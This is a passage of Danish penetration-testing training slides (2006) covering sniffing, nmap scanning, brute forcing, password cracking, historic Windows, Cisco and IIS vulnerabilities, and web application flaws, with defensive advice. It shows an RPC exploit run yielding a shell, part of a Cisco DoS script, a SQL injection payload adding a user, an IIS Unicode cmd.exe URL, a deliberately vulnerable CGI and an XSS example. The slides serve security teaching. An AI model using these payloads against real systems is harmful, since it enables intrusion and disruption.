SMB, Oracle SQL*Net, Sybase and Microsoft SQL protocols.
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

dsniff forudsætninger

Der er visse forudsætninger der skal være opfyldt

- Man skal have trafikken
- Det kan gøres gennem arp spoofing eller ved at hacke ind i et system/router på netværksvejen

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Kommenteret dsniff

© copyright 2006 Security6.net, Henrik Lund Kramshøj

netværksdesign og sikkerhed

Hvad kan man gøre for at få bedre netværkssikkerhed?

- bruge switche - der skal ARP spoofes og bedre performance
- opdele med firewall til flere DMZ zoner for at holde udsatte servere adskilt fra hinanden, det interne netværk og Internet
- overvåge, læse logs og reagere på hændelser

© copyright 2006 Security6.net, Henrik Lund Kramshøj

basalt netværk

Intrusion Detection Systems - IDS

angrebsværktøjerne efterlader spor

hostbased IDS - kører lokalt på et system og forsøger at detektere om der er en angriber inde

network based IDS - NIDS - bruger netværket

Automatiserer netværksovervågning:

- bestemte pakker kan opfattes som en signatur
- analyse af netværkstrafik - FØR angreb
- analyse af netværk under angreb - sender en alarm

`http://www.snort.org` - det kan anbefales at se på Snort

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Ulemper ved IDS

snort er baseret på signaturer

mange falske alarmer - tuning og vedligehold

hvordan sikrer man sig at man har opdaterede signaturer for angreb som går verden rundt på et døgn

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Honeypots - ressourcekrævende?

The Use of Honeynets to Detect Exploited Systems Across Large Enterprise Networks

> ”There are 69 separate departments at Georgia Tech with between 30,000-35,000 networked computers installed on campus.” ... ”In the six months that we have been running the Georgia Tech Honeynet **we have detected 16 compromised Georgia Tech systems on networks** other than our Honeynet. These compromises include automated worm type exploits as well as individual systems that have been targeted and compromised by hackers.”

Honeypots og IDS systemer kan være ressourcekrævende, men en kombination kan være mere effektiv i visse tilfælde

Kilde: `http://www.tracking-hackers.com/papers/gatech-honeynet.pdf`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

TCP sequence number prediction

tidligere baserede man ofte login og adgange på de IP adresser som folk kom fra

det er ikke pålideligt at tro på address based authentication

TCP sequence number kan måske gættes

Mest kendt er nok Shimomura der blev hacket på den måde, måske af Kevin D Mitnick eller en kompagnon

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Kig på arpspoof og dsniff

som er øvelse **16** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Basal Portscanning

Hvad er portscanning

afprøvning af alle porte fra 0/1 og op til 65535

målet er at identificere åbne porte - sårbare services

typisk TCP og UDP scanning

TCP scanning er ofte mere pålidelig end UDP scanning

TCP handshake er nemmere at identificere

UDP applikationer svarer forskelligt - hvis overhovedet

© copyright 2006 Security6.net, Henrik Lund Kramshøj

TCP three way handshake

- **TCP SYN half-open** scans
- Tidligere loggede systemer kun når der var etableret en fuld TCP forbindelse - dette kan/kunne udnyttes til *stealth*-scans
- Hvis en maskine modtager mange SYN pakker kan dette fylde tabellen over connections op - og derved afholde nye forbindelser fra at blive oprette - **SYN-flooding**

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Ping og port sweep

scanninger på tværs af netværk kaldes for sweeps

Scan et netværk efter aktive systemer med PING

Scan et netværk efter systemer med en bestemt port åben

Er som regel nemt at opdage:

- konfigurer en maskine med to IP-adresser som ikke er i brug
- hvis der kommer trafik til den ene eller anden er det portscan
- hvis der kommer trafik til begge IP-adresser er der nok foretaget et sweep - bedre hvis de to adresser ligger et stykke fra hinanden

© copyright 2006 Security6.net, Henrik Lund Kramshøj

nmap port sweep efter port 80/TCP

Port 80 TCP er webservere

```
# nmap -p 80 217.157.20.130/28

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on router.kramse.dk (217.157.20.129):
Port        State        Service
80/tcp      filtered     http

Interesting ports on www.kramse.dk (217.157.20.131):
Port        State        Service
80/tcp      open         http

Interesting ports on  (217.157.20.139):
Port        State        Service
80/tcp      open         http
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

nmap port sweep efter port 161/UDP

Port 161 UDP er SNMP

```
# nmap -sU -p 161 217.157.20.130/28

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on router.kramse.dk (217.157.20.129):
Port        State        Service
161/udp     open         snmp

The 1 scanned port on mail.kramse.dk (217.157.20.130) is: closed

Interesting ports on www.kramse.dk (217.157.20.131):
Port        State        Service
161/udp     open         snmp

The 1 scanned port on  (217.157.20.132) is: closed
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

OS detection

```
# nmap -O ip.adresse.slet.tet scan af en gateway
Starting nmap 3.48 ( http://www.insecure.org/nmap/ ) at 2003-12-03 11:31 CET
Interesting ports on gw-int.security6.net (ip.adresse.slet.tet):
(The 1653 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1080/tcp open  socks
5000/tcp open  UPnP
Device type: general purpose
Running: FreeBSD 4.X
OS details: FreeBSD 4.8-STABLE
Uptime 21.178 days (since Wed Nov 12 07:14:49 2003)
Nmap run completed -- 1 IP address (1 host up) scanned in 7.540 seconds
```

- lavniveau måde at identificere operativsystemer på
- send pakker med *anderledes* indhold
- Reference: *ICMP Usage In Scanning* Version 3.0, Ofir Arkin
  http://www.sys-security.com/html/projects/icmp.html

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Find maskiner

som er øvelse **17** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Foretag nmap TCP portscanning

som er øvelse **18** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Foretag nmap servicescanning

som er øvelse **19** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Foretag nmap OS detection

som er øvelse **20** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Foretag mini-pentest med cd-rom

som er øvelse **21** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Erfaringer hidtil

mange oplysninger

kan man stykke oplysningerne sammen kan man sige en hel del om netværket

en skabelon til registrering af maskiner er god

- svarer på ICMP: □ echo, □ mask, □ time
- svarer på traceroute: □ ICMP, □ UDP
- Åbne porte TCP og UDP:
- Operativsystem:
- ... (banner information m.v.)

Mange små pakker kan oversvømme store forbindelser og give problemer for netværk

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Vurdering af produkter

Pentesting er ikke kun til test af produktionsnetværk

man skal ofte vurdere nye produkter - sikkerhedsmæssigt og funktionalitetsmæssigt - yder det beskyttelse, forbedrer det sikkerheden m.v.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvad er værdien af pentest?

hvor og hvordan kan I bruge penetrationstest

hvis man vil have et andet indblik i netværket, TCP, UDP, ICMP, portscannning og samle puslespil udfra få informationer

Netværksadministratorer kan bruge pentesting til at sikre egne netværk ved brug af samme teknikker som hackere

IT-/sikkerheds-chef vurdere og evaluere tilbud og løsninger for sikkerheden. Er den påtænkte løsning fornuftig?

Man står med en server der er kompromitteret - hvordan skete det? - hvordan forhindrer vi det en anden gang.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Simple Network Management Protocol

SNMP er en protokol der supporteres af de fleste professionelle netværksenheder, såsom switche, routere

hosts - skal slås til men følger som regel med

SNMP bruges til:

- *network management*
- statistik
- rapportering af fejl - SNMP traps

sikkerheden baseres på community strings der sendes som klartekst ...

det er nemmere at brute-force en community string end en brugerid/kodeord kombination

© copyright 2006 Security6.net, Henrik Lund Kramshøj

brute force

hvad betyder bruteforcing?
afprøvning af alle mulighederne

```
Hydra v2.5 (c) 2003 by van Hauser / THC <vh@thc.org>
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]]
[-o FILE] [-t TASKS] [-g TASKS] [-T SERVERS] [-M FILE] [-w TIME]
[-f] [-e ns] [-s PORT] [-S] [-vV] server service [OPT]

Options:
  -S        connect via SSL
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN  or -L FILE login with LOGIN name, or load several logins from FILE
  -p PASS   or -P FILE try password PASS, or load several passwords from FILE
  -e ns     additional checks, "n" for null password, "s" try login as pass
  -C FILE   colon seperated "login:pass" format, instead of -L/-P option
  -M FILE   file containing server list (parallizes attacks, see -T)
  -o FILE   write found login/password pairs to FILE instead of stdout
...
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Routing

routing table - tabel over netværkskort og tilhørende adresser

default gateway - den adresse hvortil man sender *non-local* pakker
kaldes også default route, gateway of last resort

routing styres enten manuelt - opdatering af route tabellen, eller konfiguration af adresser og subnet maske på netkort

eller automatisk ved brug af routing protocols - interne og eksterne route protokoller

de lidt ældre routing protokoller har ingen sikkerhedsmekanismer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Source routing

source routing - mulighed for at specificere en ønsket vej for pakken

Hvis en angriber kan fortælle hvilken vej en pakke skal følge kan det give anledning til sikkerhedsproblemer

maskiner idag bør ikke lytte til source routing, evt. skal de droppe pakkerne

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Angreb mod routing

falske routing updates til protokollerne

sende redirect til maskiner

Der findes (igen) specialiserede programmer til at teste og forfalske routing updates, svarende til icmpush programmet

Det anbefales at sikre routere bedst muligt - eksempelvis Secure IOS template der findes på adressen:
http://www.cymru.com/Documents/secure-ios-template.html

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Incidents.org

`www.incidents.org` følger hele tiden med i angreb - man kan selv hente software og bidrage med logs

Hvordan ser en orm ud på nettet?

Internet statistik fra januar - SQL Sapphire/Slammer ormen

Kilde: `http://average.matrix.net/Daily/markR.html`

Hændelseshåndtering

Du VIL komme ud for hændelser, man kan ikke regne med at sikkerhedsforanstaltninger altid virker

Der er hændelser - men opdager I dem?

- Der ER sket en hændelse - håndterer I den effektivt? - hvad er forøvrigt optimalt? Lav en plan for håndtering af hændelser

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hændelseshåndtering - en metode

Vær forberedt på at håndtere hændelser!

Incident Response, E. Eugene Schultz og Russel Shumway foreslår:

- Preparation - forberedelse lær at snakke med politiet, hav kontaktinformation på plads, mobiltelefonnumre m.v.
- Detection - man opdager, her kan integritetscheckere og IDS hjælpe
- Containment - indkapsling, undgå spredning til andre systemer
- Eradication - udryddelse af problemet, eventuelt reinstallation af systemer
- Recovery - sæt systemerne i produktion igen
- Follow-up - undgå det sker igen, opsamling af statistik om hændelser

Incident Response: A Strategic Guide to Handling System and Network Security Breaches af E. Eugene, Dr Schultz, Russell Shumway, Que, 2002

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hændelseshåndtering - værktøjer

Forensics er retsmedicin, og med informationssystemer og servere er det analyse af IT systemer og data.

Nogle data findes i hukommelsen på systemerne, andre kan læses fra hardiske, disketter eller andre medier efterfølgende kan man analysere med værktøjer som:

- `http://sourceforge.net/projects/biatchux/` og `http://biatchux.dmzs.com/` - en cd-rom der indeholder en bootable Linux del. Kaldes også F.I.R.E. Forensic and Incident Response Environment Bootable CD
- TASK og Autopsy hentes på `http://www.sleuthkit.org`

Bogen *Computer Forensics: Incident Response Essentials* af Warren G. Kruse og Jay G. Heiser er en god introduktion

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Kommandoer til FIRE og netcat

- Opsamling af harddisk images med F.I.R.E kan foretages således
- find harddisken og partionerne med `fdisk` programmet, eller se på `/etc/fstab` på UNIX
- victim: `dd if=/dev/hdd1 | nc 192.168.0.1 1234`
- analyse-server: `nc -l 1234 > image.hdd1.dd`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

ISC BIND

Den mest benyttede navneserver på Internet er BIND

Der findes alternativer, men ingen har samme funktionalitet

`http://www.isc.org` er adressen til ISC - Internet Software Consortium

konfigurationsfilen er **named.conf** - for version 8 og 9

`http://www.dnsreport.com` er adressen til et godt sted at teste DNS for domæner

© copyright 2006 Security6.net, Henrik Lund Kramshøj

BIND sårbarheder

Navneservere er tit under angreb, hvorfor?!

- Står på netværk med god forbindelse
- Har kendte adresser
- Kører oftest ISC BIND
- BIND har mange funktioner - mange fejl
- Den der kontrollerer navneservere kan omdirigere trafik

© copyright 2006 Security6.net, Henrik Lund Kramshøj

RIPE NSD navneserver

RIPE skiftede software på deres navneserver væk fra BIND og til en ny DNS implementation NSD

Den navneserver som RIPE bestyrer hedder K

Er det en fordel? hvorfor?

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Find systemer med SNMP

som er øvelse 22 fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Øvelse

Vi laver nu øvelsen

Afprøv Hydra bruteforce

som er øvelse **23** fra øvelseshæftet.

© copyright 2006 Security6.net, Henrik Lund Kramshøj

NT hashes

NT LAN manager hash værdier er noget man typisk kan samle op i netværk

det er en hash værdi af et password som man ikke burde kunne bruge til noget - hash algoritmer er envejs

opbygningen gør at man kan forsøge brute-force på 7 tegn ad gangen!

en moderne pc med l0phtcrack kan nemt knække de fleste password på få dage!

og sikkert 25-30% indenfor den første dag - hvis der ingen politik er omkring kodeord!

ved at generere store tabeller, eksempelvis 100GB kan man dække mange hashværdier af passwords med almindelige bogstaver, tal og tegn - og derved knække passwordshashes på sekunder. Søg efter rainbowcrack med google

© copyright 2006 Security6.net, Henrik Lund Kramshøj

l0phtcrack LC4

Consider that at one of the largest technology companies, where policy required that passwords exceed 8 characters, mix cases, and include numbers or symbols...

L0phtCrack obtained 18% of the passwords in 10 minutes
90% of the passwords were recovered within 48 hours on a Pentium II/300
The Administrator and most Domain Admin passwords were cracked
http://www.atstake.com/research/lc/

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Cain og Abel

Cain og Abel anbefales ofte istedet for l0phtcrack `http://www.oxid.it`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

John the ripper

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

UNIX passwords kan knækkes med alec Muffets kendte Crack program eller eksempelvis John The Ripper `http://www.openwall.com/john/`

Jeg bruger selv John The Ripper

© copyright 2006 Security6.net, Henrik Lund Kramshøj

kryptering, PGP og SSL/TLS

kryptering er den eneste måde at sikre:

- fortrolighed
- autenticitet

kryptering består af:

- Algoritmer - eksempelvis RSA
- *protokoller* - måden de bruges på
- programmer - eksempelvis PGP

fejl eller sårbarheder i en af komponenterne kan formindske sikkerheden

PGP = mail sikkerhed, se eksempelvis Enigmail plugin til Mozilla Thunderbird

Secure Sockets Layer SSL / Transport Layer Services TLS = webservere og klienter

© copyright 2006 Security6.net, Henrik Lund Kramshøj

DES, Triple DES og AES/Rijndael

DES kryptering baseret på den IBM udviklede Lucifer algoritme har været benyttet gennem mange år.

Der er vedtaget en ny standard algoritme Advanced Encryption Standard (AES) som afløser Data Encryption Standard (DES)

Algoritmen hedder Rijndael og er udviklet af Joan Daemen og Vincent Rijmen.

Kilder: http://csrc.nist.gov/encryption/aes/ - AES Homepage
http://www.esat.kuleuven.ac.be/~rijmen/rijndael/ - The Rijndael Page

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Windows RPC CVE-2003-0352

Hackergruppe ”Last Stage of Delirium” finder sårbarhed i RPC

Den 27. juni 2003skrev LSD til Microsoft om fejlen

- Microsoft har frigivet rettelser i juli 2003.
- LSD har ry for at arbejde seriøst sammen med produkt-leverandørerne. De kommunikerer sårbarheder til leverandørerne og frigiver ikke ”exploit-programmer” før leverandørerne har fået en fair chance til at løse deres problemer.
- Beskrivelse af sårbarheden kan findes hos Microsoft på: http://microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-026.asp

Kilder:
http://www.securityfocus.com/news/6519
http://www.cert.org/advisories/CA-2003-16.html
http://lsd-pl.net/ - detaljerede beskrivelser af exploits

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Start på demo

- To almindelige computere - en switch erstatter Internet
- Windows er installeret på et system og ikke opdateret
- dcom.c exploit er hentet fra Internet og bruges næsten uændret

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvad sker der?

```
[hlk@fiona hlk]$ ./dcom 6 10.0.0.206
--------------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM <hdm [at] metasploit.com>
- Using return address of 0x77e626ba
- Dropping to System Shell...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>exit
```

- find selv på kommandoer, fri adgang!!

```
 - Read failure
[hlk@fiona hlk]$
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

RPC sårbarheden udnyttes!

*WINDOWS RPC FLAW EXPLOITED IN CAMPUS HACKER ATTACKS California universities are among the first public victims of the Windows Remote Procedure Call (RPC) protocol flaw, which allows an attacker to run code of choice on a compromised system.

Cedric Bennett, director of information security at Stanford University, says 2,400 of his school's computers were tainted with deeply imbedded code. The unauthorized code, which Bennett declined to describe in detail, will have to be manually removed, a process that could take several hours for each compromised machine.
...

Citat fra: SECURITY WIRE DIGEST, VOL. 5, NO. 60, AUGUST 11, 2003 Security Wire Digest is a newsletter published by Information Security, the industry's leading source of security news and information. http://infosecuritymag.techtarget.com

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Windows RPC/dcom - Blaster orm

Kilde: Symantec - 12/8 2003

- THREAT: W32.Blaster.Worm
- CATEGORY: 3 W32.Blaster.Worm is a worm that will exploit the DCOM RPC vulnerability using TCP port 135. It will attempt to download and run a file, msblast.exe.
- STEP 1: Read Critical Information
- STEP 2: Update your Virus Definitions

Situationen er den sædvanlige - den almindelige livscyklus for en sårbarhed

10 Der findes en sårbarhed - hackergruppe, leverandør eller sikkerhedskonsulent

- Leverandøren kontaktes og på et tidspunkt offentliggøres informationen
- Der kommer proof-of-concept kode (PoC), exploit program
- Sårbarheden bliver populær
- Der kommer en orm - og folk går i panik

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Cisco Denial of service CVE-2003-0567

Cisco routere - ude af drift angreb - juli 2003

- Med en bestemt sekvens af pakker til routerens egen adresse på et interface kan den bringes i en tilstand hvor den ikke sender pakker videre - dødt interface
- *This issue affects all Cisco devices running Cisco IOS software and configured to process Internet Protocol version 4 (IPv4) packets. This includes routers as well as switches and line cards which run Cisco IOS software. Cisco devices which do not run Cisco IOS software are not affected.*
- kræver genstart
- pakkerne kan sågar genereres med et shellscript (batch fil) og programmer som hping

Kilder:

http://www.cisco.com/warp/public/707/cisco-sa-20030717-blocked.sht
http://www.cert.org/advisories/CA-2003-15.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0567

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Cisco *exploit* script

```
#!/bin/sh
# 2003-07-21 pdonahue
# cisco-44020.sh
# -- this shell script is just a wrapper for hping (http://www.hping.org)
#    with the parameters necessary to fill the input queue on
# exploitable IOS device
# -- refer to "Cisco Security Advisory: Cisco IOS Interface Blocked by
# IPv4 Packets"
# (http://www.cisco.com/warp/public/707/cisco-sa-20030717-blocked.shtml)
#for more information
...
for protocol in $PROT
    do
       $HPING $HOST --rawip $ADDR --ttl $TTL --ipproto $protocol

       --count $NUMB --interval u250 --data $SIZE --file /dev/urandom
    done
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Sårbarheder - CVE og ICAT

Common Vulnerabilities and Exposures (CVE) er:

- klassifikation
- unik navngivning af sårbarheder.

Sårbarheder tildeles

- initielt oprettes med status CANDIDATE

CVE vedligeholdes af MITRE - som er en not-for-profit organisation skabt til forskning og udvikling i USA. National Vulnerability Database er en af mulighederne for at søge i CVE.

Kilde: `http://cve.mitre.org/` og `http://nvd.nist.gov`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

ICAT klassifikation af sårbarheder

ICAT is a fine-grained searchable index of standardized vulnerabilities that links users into publicly available vulnerability and patch information

ICAT klassificerer efter:

- Input validation error, Boundary overflow og Buffer overflow
- Access validation error
- Exceptional condition handling error
- Environmental error
- Configuration error
- Race condition
- Design error
- Other

Kilde: `http://icat.nist.gov/icat.cfm`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Sårbarheder - eksempler

CVE-2000-0884
IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the ”Web Server Folder Traversal” vulnerability.

CVE-2002-1182
IIS 5.0 and 5.1 allows remote attackers to cause a denial of service (crash) via malformed WebDAV requests that cause a large amount of memory to be assigned.

CVE Version: 20020625 Total Entries: 2223 opdateres ikke så ofte, ICAT opdateres løbende og er kompatibel med CVE

ICAT contains: 5356 vulnerabilities Last updated: 01/07/03

Kilde:
http://cve.mitre.org/-CVE
http://icat.nist.gov/icat.cfm - ICAT

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Altid aktuelt - DNS og web

Navneservere er tit under angreb, hvorfor?!

- Står på netværk med god forbindelse
- Har kendte adresser
- Kører oftest ISC BIND
- BIND har mange funktioner - mange fejl
- Den der kontrollerer navneservere kan omdirigere trafik

webservere er altid under angreb

- Webserveren er virksomhedens ansigt ud mod Internet eller måske selve indtjeningen - for e-handel
- Microsoft Internet Information Services - IIS - kendt og berygtet for at indeholder megen funktionalitet - farlig funktionalitet
- Apache har haft nogle grimme oplevelser for nyligt, og PHP er en kilde til mange sikkerhedsproblemer - hvem sagde PHP Nuke?!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Windows NT familien

Windows NT, Windows 2000 - server og workstation versioner

Læg mærke til de applikationer i lægger ovenpå - åbner porte!

- Internet Information Services IIS
- databaser
- diverse klienter - TSM klient!

Opsætning af Microsoft Internet Information Services IIS
brug Microsoft's egne guider og andre checklister

Eksempelvis Gold Standard

Windows 2000 Professional Gold Standard Security Benchmarks are available for download at: Center for Internet Security `www.cisecurity.org` *The National Security Agency* `www.nsa.gov`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

konfigurationsfejl - ofte overset

Forkert brug af programmer er ofte overset

- opfyldes forudsætningerne
- er programmet egnet til dette miljø
- er man udannet/erfaren i dette produkt

Kunne I finde på at kopiere cmd.exe til /scripts kataloget på en IIS?

Det har jeg engang været ude for at en kunde havde gjort!

hvis I under test af en server opdager at denne har /scripts/cmd1.exe eller ”FTP-scripts” til at hente værktøjer ... så er den pågældende server formentlig kompromitteret

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Insecure programming

Problem:
Ønsker et simpelt CGI program, en web udgave af finger

Formål:
Vise oplysningerne om brugere på systemet

© copyright 2006 Security6.net, Henrik Lund Kramshøj

review af nogle muligheder

ASP

- server scripting, meget generelt - man kan alt

SQL

- databasesprog - meget kraftfuldt
- mange databasesystemer giver mulighed for specifik tildeling af privilegier ”grant”

JAVA

- generelt programmeringssprog
- bytecode verifikation
- indbygget sandbox funktionalitet

Perl og andre generelle programmeringssprog

Pas på shell escapes!!!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hello world of insecure web CGI

Demo af et sårbart system - badfinger

Løsning:

- Kalde finger kommandoen
- et Perl script
- afvikles som CGI
- standard Apache HTTPD 1.3 server

© copyright 2006 Security6.net, Henrik Lund Kramshøj

De vitale - og usikre dele

```
print "Content-type: text/html\n\n<html>";
print "<body bgcolor=#666666 leftmargin=20 topmargin=20";
print "marginwidth=20 marginheight=20>";
print <<XX;
<h1>Bad finger command!</h1>
<HR COLOR=#000>
<form method="post" action="bad_finger.cgi">
Enter userid: <input type="text" size="40" name="command">
</form>
<HR COLOR=#000>
XX
if(&ReadForm(*input)){
    print "<pre>\n";
    print "will execute:\n/usr/bin/finger $input{'command'}\n";
    print "<HR COLOR=#000>\n";
    print `/usr/bin/finger $input{'command'}`;
    print "<pre>\n";
}
```

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Almindelige problemer

validering af forms

validering på klient er godt
- godt for brugervenligheden, hurtigt feedback

validering på clientside gør intet for sikkerheden

serverside validering er nødvendigt

generelt er input validering det største problem!

Brug *Open Web Application Security Project* `http://www.owasp.org`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

SQL injection

SQL Injection FAQ http://www.sqlsecurity.com:

```
Set myRecordset = myConnection.execute
("SELECT * FROM myTable
WHERE someText ='" & request.form("inputdata") & "'")
med input: ' exec master..xp_cmdshell 'net user test testpass /ADD' --
modtager og udfører serveren:
SELECT * FROM myTable
WHERE someText ='' exec master..xp_cmdshell
'net user test testpass /ADD'--'
```

– er kommentar i SQL

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Er SQL injection almindeligt?

Ja, meget almindeligt!

Prøv at søge med google

The Database Hacker's Handbook : Defending Database Servers David Litchfield, Chris Anley, John Heasman, Bill Grindlay, Wiley 2005 ISBN: 0764578014

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Mere SQL injection / SQL server

Threat Profiling Microsoft SQL Server
http://www.nextgenss.com/papers/tp-SQL2000.pdf

- Hvordan sikrer man en SQL server?
- mod fejl
- mod netværksadgang
- mod SQL injection

NB: Hold øje med andre artikler fra samme sted
http://www.nextgenss.com/research/papers.html

Advanced SQL Injection In SQL Server Applications
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
(more) Advanced SQL Injection
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
begge af Chris Anley [chris@ngssoftware.com]

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Mere Web application hacking

The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws
Dafydd Stuttard, Marcus Pinto, Wiley 2007 ISBN: 978-0470170779

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvordan udnyttes forms nemmest?

Manuelt download form:

```
<FORM ACTION="opret.asp?mode=bruger?id=doopret"
METHOD="POST" NAME="opret"
ONSUBMIT="return validate(this)">
```

fjern kald til validering:

```
<FORM ACTION="opret.asp?mode=bruger?id=doopret"
METHOD="POST" NAME="opret">
```

Tilføj ’BASE HREF’ i header, findes med browser - højreklik properties i Internet Explorer

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Hvordan udnyttes forms nemmest?

Den form som man bruger er så - fra sin lokale harddisk:

```
<HEAD>
<TITLE>Our Products</TITLE>
<BASE href="http://www.target.server/sti/til/form">
</HEAD>
...
<FORM ACTION="opret.asp?mode=bruger?id=doopret"
METHOD="POST" NAME="opret">
```

Kald form i en browser og indtast værdier

© copyright 2006 Security6.net, Henrik Lund Kramshøj

WebScarab eller Firefox plugins

Man bliver hurtigt træt af at ændre forms på den måde

Istedet anvendes en masse proxyprogrammer

Nogle af de mest kendte er:

- Burp proxy
- Parox proxy
- Firefox extension tamper data
- OWASP WebScarab

Jeg anbefaler de sidste to

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Cross-site scripting

Hvis der inkluderes brugerinput I websider som vises, kan der måske indføjes ekstra information/kode.

Hvis et CGI program, eksempelvis comment.cgi blot bruger værdien af ”mycomment” vil følgende URL give anledning til cross-site scripting

```
<A HREF="http://example.com/comment.cgi?
mycomment=<SCRIPT>malicious code</SCRIPT>
">Click here</A>
```

Hvis der henvises til kode kan det endda give anledning til afvikling i anden ”security context”

Kilde/inspiration: http://www.cert.org/advisories/CA-2000-02.html

© copyright 2006 Security6.net, Henrik Lund Kramshøj

webroot - unicode dekodning

webroot er det sted på harddisken, hvorfra data der vises af webserveren hentes.

Unicode bug:

`http://10.0.43.10/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:`

Kilde:

http://www.cgisecurity.com/archive/misc/unicode.txt - rain forest puppy

http://online.securityfocus.com/bid/1806/info/ - securityfocus info

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Sårbare programmer

Hvorfor er programmerne stadig sårbare?

RFP exploits - adgang til kommandolinien via database

`?:\Program Files\Common Files\System\Msadc\msadcs.dll`

Unicode - fejl i håndtering af specialtilfælde

double decode - flere fejl i håndtering af nye specialtilfælde

Dark spyrit jill.c - Internet Printing Protocol IPP. Ny funktionalitet som implementeres med fejl

Programmer idag er komplekse!

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Historik indenfor websikkerhed

IIS track record

- meget funktionalitet
- større risiko for fejl
- alvorlige fejl - arbitrary code execution

Apache track record

- typisk mindre funktionalitet
- typisk haft mindre alvorlige fejl

PHP track record?

Sammenligning IIS med Apache+PHP, idet en direkte sammenligning mellem IIS og Apache vil være unfair

Meget få har idag små websteder med statisk indhold

Både IIS version 6 og Apache version 2 anbefales idag, fremfor tidligere versioner

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Opsummering websikkerhed

Husk hidden fields er ikke mere skjulte end ”view source”-knappen i browseren

serverside validering er nødvendigt

SQL injection er nemt at udføre og almindeligt

Cross-site scripting kan have uanede muligheder

Brug listen fra `http://www.owasp.org`

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Privilegier least privilege

Hvorfor afvikle applikationer med administrationsrettigheder - hvis der kun skal læses fra eksempelvis en database?

least privilege betyder at man afvikler kode med det mest restriktive sæt af privileger - kun lige nok til at opgaven kan udføres

Dette praktiseres ikke i webløsninger i Danmark - eller meget få steder

© copyright 2006 Security6.net, Henrik Lund Kramshøj

Privilegier privilege escalation

